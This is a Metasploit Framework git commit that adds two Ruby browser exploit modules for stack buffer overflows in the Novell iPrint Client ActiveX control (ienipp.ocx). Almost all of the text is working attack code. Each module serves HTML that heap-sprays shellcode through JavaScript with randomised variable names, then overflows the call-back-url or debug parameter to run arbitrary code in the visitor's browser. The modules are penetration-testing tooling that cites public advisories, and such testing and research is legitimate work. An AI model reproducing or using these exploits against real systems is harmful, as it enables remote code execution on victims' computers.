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add two exploits from Trancer! woot! 

git-svn-id: file:///home/svn/framework3/trunk@10429 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-09-21 18:46:29 +00:00
parent d1de6fde36
commit 600ec0a848
3 changed files with 315 additions and 1 deletions
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154
modules/exploits/windows/browser/novelliprint_callbackurl.rb Normal file
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@ -0,0 +1,154 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# novelliprint_callbackurl.rb
#
# Novell iPrint Client ActiveX Control call-back-url Buffer Overflow exploit for the Metasploit Framework
#
# Exploit successfully tested on the following platforms:
# - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3
# - Novell iPrint Client 5.42 on Internet Explorer 7, Windows XP SP3
# - Novell iPrint Client 5.42 on Internet Explorer 7, Windows Vista SP2
#
# ienipp.ocx version tested:
# File Version: 5.4.0.0 and 5.4.2.0
# ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C
# RegKey Safe for Script: True
# RegKey Safe for Init: True
# KillBitSet: False
#
# References:
# - CVE-2010-1527
# - OSVDB 67411
# - http://secunia.com/secunia_research/2010-104/ - Original advisory by Carsten Eiram, Secunia Research
# - http://www.exploit-db.com/exploits/15042/ - MOAUB #19 exploit
# - http://www.exploit-db.com/moaub-19-novell-iprint-client-browser-plugin-call-back-url-stack-overflow/ - MOAUB #14 binary analysis
# - http://www.rec-sec.com/2010/09/21/novell-iprint-callbackurl-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security
#
# Trancer
# http://www.rec-sec.com
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell iPrint Client ActiveX Control call-back-url Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in Novell iPrint Client 5.42.
When sending an overly long string to the 'call-back-url' parameter in an
op-client-interface-version action of ienipp.ocx an attacker may be able to
execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'Trancer <mtrancer[at]gmail.com' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2010-1527' ],
[ 'OSVDB', '67411'],
[ 'URL', 'http://secunia.com/secunia_research/2010-104/' ], # Carsten Eiram, Secunia Research
[ 'URL', 'http://www.exploit-db.com/exploits/15042/' ], # MOAUB #19
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
],
'DisclosureDate' => 'Aug 20 2010',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Setup exploit buffers
nops = Rex::Text.to_unescape([target.ret].pack('V'))
ret = [target.ret].pack('V')
ret = ret * 250
blocksize = 0x40000
fillto = 500
offset = target['Offset']
# ActiveX parameters
clsid = "36723F97-7AA0-11D4-8919-FF2D71D0D32C"
# Randomize the javascript variable names
ienipp = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_ret = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
html = %Q|<html>
<script>
var #{j_shellcode} = unescape('#{shellcode}');
var #{j_nops} = unescape('#{nops}');
var #{j_headersize} = 20;
var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});
var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});
while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
var #{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {
#{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
}
</script>
<object classid='clsid:#{clsid}' id='#{ienipp}'>
<param name='operation' value='op-client-interface-version' />
<param name='result-type' value='url' />
<param name='call-back-url' value='#{ret}' />
</object>
</html>|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
end

2
modules/exploits/windows/browser/novelliprint_executerequest.rb
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@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell iPrint Client ActiveX Control Buffer Overflow',
'Name' => 'Novell iPrint Client ActiveX Control ExecuteRequest Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Novell iPrint Client 4.26. When
sending an overly long string to the ExecuteRequest() property of ienipp.ocx

160
modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb Normal file
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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# novelliprint_executerequest_dbg.rb
#
# Novell iPrint Client ActiveX Control 'debug' Buffer Overflow exploit for the Metasploit Framework
#
# Exploit successfully tested on the following platforms:
# - Novell iPrint Client 5.32 on Internet Explorer 7, Windows XP SP3
# - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3
# - Novell iPrint Client 5.40 on Internet Explorer 7, Windows Vista SP2
#
# ienipp.ocx version tested:
# File Version: 5.3.2.0 and 5.4.0.0
# ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C
# RegKey Safe for Script: True
# RegKey Safe for Init: True
# KillBitSet: False
#
# References:
# - CVE-2010-3106
# - OSVDB 66960
# - http://dvlabs.tippingpoint.com/advisory/TPTI-10-06 - Original advisory by Aaron Portnoy, TippingPoint DVLabs
# - http://www.exploit-db.com/exploits/15001/ - MOAUB #14 exploit
# - http://www.exploit-db.com/moaub-14-novell-iprint-client-browser-plugin-executerequest-debug-parameter-stack-overflow/ - MOAUB #14 binary analysis
# - http://www.rec-sec.com/2010/09/21/novell-iprint-debug-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security
#
# Trancer
# http://www.rec-sec.com
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell iPrint Client ActiveX Control ExecuteRequest debug Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in Novell iPrint Client 5.40.
When sending an overly long string to the 'debug' parameter in ExecuteRequest()
property of ienipp.ocx an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'Trancer <mtrancer[at]gmail.com' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2010-3106' ],
[ 'OSVDB', '66960'],
[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-10-06' ], # Aaron Portnoy, TippingPoint DVLabs
[ 'URL', 'http://www.exploit-db.com/exploits/15001/' ], # MOAUB #14
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A, 'Offset' => 250 } ]
],
'DisclosureDate' => 'Aug 04 2010',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Setup exploit buffers
nops = Rex::Text.to_unescape([target.ret].pack('V'))
ret = Rex::Text.uri_encode([target.ret].pack('L'))
blocksize = 0x40000
fillto = 500
offset = target['Offset']
# ActiveX parameters
clsid = "36723F97-7AA0-11D4-8919-FF2D71D0D32C"
op = "op-client-interface-version"
dbg = "debug="
# Randomize the javascript variable names
ienipp = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_ret = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_op = rand_text_alpha(rand(100) + 1)
j_dbg = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
html = %Q|<html>
<object classid='clsid:#{clsid}' id='#{ienipp}'></object>
<script>
var #{j_shellcode} = unescape('#{shellcode}');
var #{j_nops} = unescape('#{nops}');
var #{j_headersize} = 20;
var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});
var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});
while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
var #{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {
#{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
}
var #{j_ret} = '';
for (#{j_counter} = 0; #{j_counter} <= #{offset}; #{j_counter}++) {
#{j_ret} += unescape('#{ret}');
}
#{j_op} = "#{op}";
#{j_dbg} = "#{dbg}";
#{ienipp}.ExecuteRequest(#{j_op}, #{j_dbg} + #{j_ret});
</script>
</html>|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
end